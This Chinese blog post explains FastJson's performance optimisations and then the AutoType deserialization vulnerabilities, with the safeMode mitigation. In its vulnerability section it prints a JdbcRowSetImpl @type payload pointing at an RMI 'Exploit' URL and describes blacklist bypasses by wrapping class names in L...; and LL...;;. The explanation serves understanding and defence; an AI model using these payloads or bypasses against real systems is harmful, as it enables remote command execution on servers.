關於 FastJson - JavaShuo

由於公司提供的基礎框架使用的是 FastJson 框架、而部門的架構師推薦使用 Jackson。因此特此瞭解下 FastJson 相關的東西。java

FastJson 是阿里開源的 Json 解析庫、能夠進行序列化以及反序列化。git

github.com/alibaba/fas…github

最廣爲人所知的一個特色就是快web

fastjson相對其餘JSON庫的特色是快，從2011年fastjson發佈1.1.x版本以後，其性能從未被其餘Java實現的JSON庫超越。算法

貼上幾張對比圖json

從上面能夠看到不管是反序列化仍是序列化 FastJson 和 Jackson 差距其實並非很大。數組

爲啥 FastJson 可以那麼快

Fastjson中Serialzie的優化實現

自行編寫相似StringBuilder的工具類SerializeWriter。緩存

把java對象序列化成json文本，是不可能使用字符串直接拼接的，由於這樣性能不好。比字符串拼接更好的辦法是使用java.lang.StringBuilder。StringBuilder雖然速度很好了，但還可以進一步提高性能的，fastjson中提供了一個相似StringBuilder的類com.alibaba.fastjson.serializer.SerializeWriter。安全

SerializeWriter提供一些針對性的方法減小數組越界檢查。例如public void writeIntAndChar(int i, char c) {}，這樣的方法一次性把兩個值寫到buf中去，可以減小一次越界檢查。目前SerializeWriter還有一些關鍵的方法可以減小越界檢查的，我還沒實現。也就是說，若是實現了，可以進一步提高serialize的性能。性能優化
使用ThreadLocal來緩存buf。

這個辦法可以減小對象分配和gc，從而提高性能。SerializeWriter中包含了一個char[] buf，每序列化一次，都要作一次分配，使用ThreadLocal優化，可以提高性能。
使用asm避免反射

獲取java bean的屬性值，須要調用反射，fastjson引入了asm的來避免反射致使的開銷。fastjson內置的asm是基於objectweb asm 3.3.1改造的，只保留必要的部分，fastjson asm部分不到1000行代碼，引入了asm的同時不致使大小變大太多。
使用一個特殊的IdentityHashMap優化性能。

fastjson對每種類型使用一種serializer，因而就存在class -> JavaBeanSerizlier的映射。fastjson使用IdentityHashMap而不是HashMap，避免equals操做。咱們知道HashMap的算法的transfer操做，併發時可能致使死循環，可是ConcurrentHashMap比HashMap系列會慢，由於其使用volatile和lock。fastjson本身實現了一個特別的IdentityHashMap，去掉transfer操做的IdentityHashMap，可以在併發時工做，可是不會致使死循環。
缺省啓用sort field輸出

json的object是一種key/value結構，正常的hashmap是無序的，fastjson缺省是排序輸出的，這是爲deserialize優化作準備。
集成jdk實現的一些優化算法

在優化fastjson的過程當中，參考了jdk內部實現的算法，好比int to char[]算法等等。

fastjson的deserializer的主要優化算法

讀取token基於預測。

全部的parser基本上都須要作詞法處理，json也不例外。fastjson詞法處理的時候，使用了基於預測的優化算法。好比key以後，最大的多是冒號":"，value以後，多是有兩個，逗號","或者右括號"}"。在com.alibaba.fastjson.parser.JSONScanner中提供了這樣的方法

public void nextToken(int expect) {  
    for (;;) {  
        switch (expect) {  
            case JSONToken.COMMA: // 
                if (ch == ',') {  
                    token = JSONToken.COMMA;  
                    ch = buf[++bp];  
                    return;  
                }  
  
                if (ch == '}') {  
                    token = JSONToken.RBRACE;  
                    ch = buf[++bp];  
                    return;  
                }  
  
                if (ch == ']') {  
                    token = JSONToken.RBRACKET;  
                    ch = buf[++bp];  
                    return;  
                }  
  
                if (ch == EOI) {  
                    token = JSONToken.EOF;  
                    return;  
                }  
                break;  
        // ... ... 
    }  
}  
複製代碼

從上面摘抄下來的代碼看，基於預測可以作更少的處理就可以讀取到token。

sort field fast match算法

fastjson的serialize是按照key的順序進行的，因而fastjson作deserializer時候，採用一種優化算法，就是假設key/value的內容是有序的，讀取的時候只須要作key的匹配，而不須要把key從輸入中讀取出來。經過這個優化，使得fastjson在處理json文本的時候，少讀取超過50%的token，這個是一個十分關鍵的優化算法。基於這個算法，使用asm實現，性能提高十分明顯，超過300％的性能提高。

{ "id" : 123, "name" : "魏加流", "salary" : 56789.79}  
  ------      --------          ----------    
複製代碼

在上面例子看，虛線標註的三個部分是key，若是key_id、key_name、key_salary這三個key是順序的，就能夠作優化處理，這三個key不須要被讀取出來，只須要比較就能夠了。

這種算法分兩種模式，一種是快速模式，一種是常規模式。快速模式是假定key是順序的，能快速處理，若是發現不可以快速處理，則退回常規模式。保證性能的同時，不會影響功能。

在這個例子中，常規模式須要處理13個token，快速模式只須要處理6個token。

演示 sort field fast match 算法的代碼

// 用於快速匹配的每一個字段的前綴 
char[] size_   = "\"size\":".toCharArray();  
char[] uri_    = "\"uri\":".toCharArray();  
char[] titile_ = "\"title\":".toCharArray();  
char[] width_  = "\"width\":".toCharArray();  
char[] height_ = "\"height\":".toCharArray();  
  
// 保存parse開始時的lexer狀態信息 
int mark = lexer.getBufferPosition();  
char mark_ch = lexer.getCurrent();  
int mark_token = lexer.token();  
  
int height = lexer.scanFieldInt(height_);  
if (lexer.matchStat == JSONScanner.NOT_MATCH) {  
    // 退出快速模式, 進入常規模式 
    lexer.reset(mark, mark_ch, mark_token);  
    return (T) super.deserialze(parser, clazz);  
}  
  
String value = lexer.scanFieldString(size_);  
if (lexer.matchStat == JSONScanner.NOT_MATCH) {  
    // 退出快速模式, 進入常規模式 
    lexer.reset(mark, mark_ch, mark_token);  
    return (T) super.deserialze(parser, clazz);  
}  
Size size = Size.valueOf(value);  
  
// ... ... 
  
// batch set 
Image image = new Image();  
image.setSize(size);  
image.setUri(uri);  
image.setTitle(title);  
image.setWidth(width);  
image.setHeight(height);  
  
return (T) image;  
複製代碼

使用asm避免反射

deserialize的時候，會使用asm來構造對象，而且作batch set，也就是說合並連續調用多個setter方法，而不是分散調用，這個可以提高性能。

對utf-8的json bytes，針對性使用優化的版原本轉換編碼。

這個類是com.alibaba.fastjson.util.UTF8Decoder，來源於JDK中的UTF8Decoder，可是它使用ThreadLocal Cache Buffer，避免轉換時分配char[]的開銷。 ThreadLocal Cache的實現是這個類com.alibaba.fastjson.util.ThreadLocalCache。第一次1k，若是不夠，會增加，最多增加到128k。

//代碼摘抄自com.alibaba.fastjson.JSON 
public static final <T> T parseObject(byte[] input, int off, int len, CharsetDecoder charsetDecoder, Type clazz, Feature... features) {  
    charsetDecoder.reset();  
  
    int scaleLength = (int) (len * (double) charsetDecoder.maxCharsPerByte());  
    char[] chars = ThreadLocalCache.getChars(scaleLength); // 使用ThreadLocalCache，避免頻繁分配內存 
  
    ByteBuffer byteBuf = ByteBuffer.wrap(input, off, len);  
    CharBuffer charByte = CharBuffer.wrap(chars);  
    IOUtils.decode(charsetDecoder, byteBuf, charByte);  
  
    int position = charByte.position();  
  
    return (T) parseObject(chars, position, clazz, features);  
}  
複製代碼

symbolTable算法。

咱們看xml或者javac的parser實現，常常會看到有一個這樣的東西symbol table，它就是把一些常用的關鍵字緩存起來，在遍歷char[]的時候，同時把hash計算好，經過這個hash值在hashtable中來獲取緩存好的symbol，避免建立新的字符串對象。這種優化在fastjson裏面用在key的讀取，以及enum value的讀取。這是也是parse性能優化的關鍵算法之一。

如下是摘抄自JSONScanner類中的代碼，這段代碼用於讀取類型爲enum的value。
```
int hash = 0;  
for (;;) {  
    ch = buf[index++];  
    if (ch == '\"') {  
        bp = index;  
        this.ch = ch = buf[bp];  
        strVal = symbolTable.addSymbol(buf, start, index - start - 1, hash); // 經過symbolTable來得到緩存好的symbol，包括fieldName、enumValue 
        break;  
    }  
      
    hash = 31 * hash + ch; // 在token scan的過程當中計算好hash 
  
    // ... ... 
}  
複製代碼
```
以上這一大段內容都是來源於 FastJson 的做者溫少的 blog

www.iteye.com/blog/wensha…

爲啥常常被爆出漏洞

對於 Json 框架來講、想要把一個 Java 對象轉換成字符串、有兩種選擇

基於屬性
基於 setter/getter

FastJson 和 Jackson 在把對象序列化成 json 字符串的時候、是經過遍歷該類中全部 getter 方法進行的。Gson並非這麼作的，他是經過反射遍歷該類中的全部屬性，並把其值序列化成json。

class Store {
    private String name;
    private Fruit fruit;
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public Fruit getFruit() {
        return fruit;
    }
    public void setFruit(Fruit fruit) {
        this.fruit = fruit;
    }
}

interface Fruit {
}

class Apple implements Fruit {
    private BigDecimal price;
    //省略 setter/getter、toString等
}
複製代碼

當咱們要對他進行序列化的時候，fastjson會掃描其中的getter方法，即找到getName和getFruit，這時候就會將name和fruit兩個字段的值序列化到JSON字符串中。

那麼問題來了，咱們上面的定義的Fruit只是一個接口，序列化的時候fastjson可以把屬性值正確序列化出來嗎？若是能夠的話，那麼反序列化的時候，fastjson會把這個fruit反序列化成什麼類型呢？

咱們嘗試着驗證一下，基於(fastjson v 1.2.68)：

{"fruit":{"price":0.5},"name":"Hollis"}
複製代碼

那麼，這個fruit的類型究竟是什麼呢，可否反序列化成Apple呢？咱們再來執行如下代碼：

Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);
複製代碼

執行結果以下：

toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit={}}
Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple
at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)
複製代碼

能夠看到，在將store反序列化以後，咱們嘗試將Fruit轉換成Apple，可是拋出了異常，嘗試直接轉換成Fruit則不會報錯，如：

Fruit newFruit = newStore.getFruit();
System.out.println("getFruit : " + newFruit);
複製代碼

以上現象，咱們知道，當一個類中包含了一個接口（或抽象類）的時候，在使用fastjson進行序列化的時候，會將子類型抹去，只保留接口（抽象類）的類型，使得反序列化時沒法拿到原始類型。

那麼有什麼辦法解決這個問題呢，fastjson引入了AutoType，即在序列化的時候，把原始類型記錄下來。

使用方法是經過SerializerFeature.WriteClassName進行標記，即將上述代碼中的

String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);
複製代碼

{
    "@type":"com.hollis.lab.fastjson.test.Store",
    "fruit":{
        "@type":"com.hollis.lab.fastjson.test.Apple",
        "price":0.5
    },
    "name":"Hollis"
}
複製代碼

能夠看到，使用SerializerFeature.WriteClassName進行標記後，JSON字符串中多出了一個@type字段，標註了類對應的原始類型，方便在反序列化的時候定位到具體類型。

可是，也正是這個特性，由於在功能設計之初在安全方面考慮的不夠周全，也給後續fastjson使用者帶來了無盡的痛苦

AutoType 何錯之有？

由於有了autoType功能，那麼fastjson在對JSON字符串進行反序列化的時候，就會讀取@type到內容，試圖把JSON內容反序列化成這個對象，而且會調用這個類的setter方法。

那麼就能夠利用這個特性，本身構造一個JSON字符串，而且使用@type指定一個本身想要使用的攻擊類庫。

舉個例子，黑客比較經常使用的攻擊類庫是com.sun.rowset.JdbcRowSetImpl，這是sun官方提供的一個類庫，這個類的dataSourceName支持傳入一個rmi的源，當解析這個uri的時候，就會支持rmi遠程調用，去指定的rmi地址中去調用方法。

而fastjson在反序列化時會調用目標類的setter方法，那麼若是黑客在JdbcRowSetImpl的dataSourceName中設置了一個想要執行的命令，那麼就會致使很嚴重的後果。

如經過如下方式定一個JSON串，便可實現遠程命令執行（在早期版本中，新版本中JdbcRowSetImpl已經被加了黑名單）

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
複製代碼

這就是所謂的遠程命令執行漏洞，即利用漏洞入侵到目標服務器，經過服務器執行命令。

在早期的fastjson版本中（v1.2.25 以前），由於AutoType是默認開啓的，而且也沒有什麼限制，能夠說是裸着的。

從v1.2.25開始，fastjson默認關閉了autotype支持，而且加入了checkAutotype，加入了黑名單+白名單來防護autotype開啓的狀況。

可是，也是從這個時候開始，黑客和fastjson做者之間的博弈就開始了。

由於fastjson默認關閉了autotype支持，而且作了黑白名單的校驗，因此攻擊方向就轉變成了"如何繞過checkAutotype"。

繞過checkAutotype，黑客與fastjson的博弈

在fastjson v1.2.41 以前，在checkAutotype的代碼中，會先進行黑白名單的過濾，若是要反序列化的類不在黑白名單中，那麼纔會對目標類進行反序列化。

可是在加載的過程當中，fastjson有一段特殊的處理，那就是在具體加載類的時候會去掉className先後的L和;，形如Lcom.lang.Thread;。

而黑白名單又是經過startWith檢測的，那麼黑客只要在本身想要使用的攻擊類庫先後加上L和;就能夠繞過黑白名單的檢查了，也不耽誤被fastjson正常加載。

如Lcom.sun.rowset.JdbcRowSetImpl;，會先經過白名單校驗，而後fastjson在加載類的時候會去掉先後的L和，變成了com.sun.rowset.JdbcRowSetImpl`。

爲了不被攻擊，在以後的 v1.2.42版本中，在進行黑白名單檢測的時候，fastjson先判斷目標類的類名的先後是否是L和;，若是是的話，就截取掉先後的L和;再進行黑白名單的校驗。

看似解決了問題，可是黑客發現了這個規則以後，就在攻擊時在目標類先後雙寫LL和;;，這樣再被截取以後仍是能夠繞過檢測。如LLcom.sun.rowset.JdbcRowSetImpl;;

魔高一尺，道高一丈。在 v1.2.43中，fastjson此次在黑白名單判斷以前，增長了一個是否以LL未開頭的判斷，若是目標類以LL開頭，那麼就直接拋異常，因而就又短暫的修復了這個漏洞。

黑客在L和;這裏走不通了，因而想辦法從其餘地方下手，由於fastjson在加載類的時候，不僅對L和;這樣的類進行特殊處理，還對[也被特殊處理了。

後續幾個也是圍繞 AutoType 進行攻擊的、感興趣可直接查看原文。以上內容文段來自一下連接

zhuanlan.zhihu.com/p/157211675

AutoType 安全模式？

能夠看到，這些漏洞的利用幾乎都是圍繞AutoType來的，因而，在 v1.2.68版本中，引入了safeMode，配置safeMode後，不管白名單和黑名單，都不支持autoType，可必定程度上緩解反序列化Gadgets類變種攻擊。

設置了safeMode後，@type 字段再也不生效，即當解析形如{"@type": "com.java.class"}的JSON串時，將再也不反序列化出對應的類。

開啓safeMode方式以下：

ParserConfig.getGlobalInstance().setSafeMode(true);
複製代碼

Exception in thread "main" com.alibaba.fastjson.JSONException: safeMode not support autoType : com.hollis.lab.fastjson.test.Apple
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1244)
複製代碼

以上內容均爲整理所得

www.iteye.com/blog/wensha…

zhuanlan.zhihu.com/p/157211675